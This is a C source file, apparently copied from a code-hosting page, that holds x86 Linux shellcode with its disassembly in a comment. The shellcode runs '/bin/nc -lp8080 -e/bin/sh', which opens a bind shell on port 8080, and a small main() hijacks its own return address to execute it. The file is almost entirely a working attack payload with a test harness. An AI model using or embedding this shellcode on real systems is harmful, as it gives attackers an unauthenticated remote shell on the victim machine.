61 lines
No EOL
2.9 KiB
C
61 lines
No EOL
2.9 KiB
C
/* 08048060 <_start>:
|
|
8048060: eb 2a jmp 804808c <GotoCall>
|
|
|
|
08048062 <shellcode>:
|
|
8048062: 5e pop %esi
|
|
8048063: 31 c0 xor %eax,%eax
|
|
8048065: 88 46 07 mov %al,0x7(%esi)
|
|
8048068: 88 46 0f mov %al,0xf(%esi)
|
|
804806b: 88 46 19 mov %al,0x19(%esi)
|
|
804806e: 89 76 1a mov %esi,0x1a(%esi)
|
|
8048071: 8d 5e 08 lea 0x8(%esi),%ebx
|
|
8048074: 89 5e 1e mov %ebx,0x1e(%esi)
|
|
8048077: 8d 5e 10 lea 0x10(%esi),%ebx
|
|
804807a: 89 5e 22 mov %ebx,0x22(%esi)
|
|
804807d: 89 46 26 mov %eax,0x26(%esi)
|
|
8048080: b0 0b mov $0xb,%al
|
|
8048082: 89 f3 mov %esi,%ebx
|
|
8048084: 8d 4e 1a lea 0x1a(%esi),%ecx
|
|
8048087: 8d 56 26 lea 0x26(%esi),%edx
|
|
804808a: cd 80 int $0x80
|
|
|
|
0804808c <GotoCall>:
|
|
804808c: e8 d1 ff ff ff call 8048062 <shellcode>
|
|
8048091: 2f das
|
|
8048092: 62 69 6e bound %ebp,0x6e(%ecx)
|
|
8048095: 2f das
|
|
8048096: 6e outsb %ds:(%esi),(%dx)
|
|
8048097: 63 23 arpl %sp,(%ebx)
|
|
8048099: 2d 6c 70 38 30 sub $0x3038706c,%eax
|
|
804809e: 38 30 cmp %dh,(%eax)
|
|
80480a0: 23 2d 65 2f 62 69 and 0x69622f65,%ebp
|
|
80480a6: 6e outsb %ds:(%esi),(%dx)
|
|
80480a7: 2f das
|
|
80480a8: 73 68 jae 8048112 <GotoCall+0x86>
|
|
80480aa: 23 41 41 and 0x41(%ecx),%eax
|
|
80480ad: 41 inc %ecx
|
|
80480ae: 41 inc %ecx
|
|
80480af: 42 inc %edx
|
|
80480b0: 42 inc %edx
|
|
80480b1: 42 inc %edx
|
|
80480b2: 42 inc %edx
|
|
80480b3: 43 inc %ebx
|
|
80480b4: 43 inc %ebx
|
|
80480b5: 43 inc %ebx
|
|
80480b6: 43 inc %ebx
|
|
80480b7: 44 inc %esp
|
|
80480b8: 44 inc %esp
|
|
80480b9: 44 inc %esp
|
|
80480ba: 44 inc %esp
|
|
*/
|
|
|
|
//bin/nc -lp8080 -e/bin/sh
|
|
char shellcode[] =
|
|
"\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e\x1e\x8d\x5e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\x4e\x1a\x8d\x56\x26\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\x38\x30\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23";
|
|
|
|
int main()
|
|
{
|
|
int *ret;
|
|
ret = (int *)&ret + 2;
|
|
(*ret) = (int)shellcode;
|
|
} |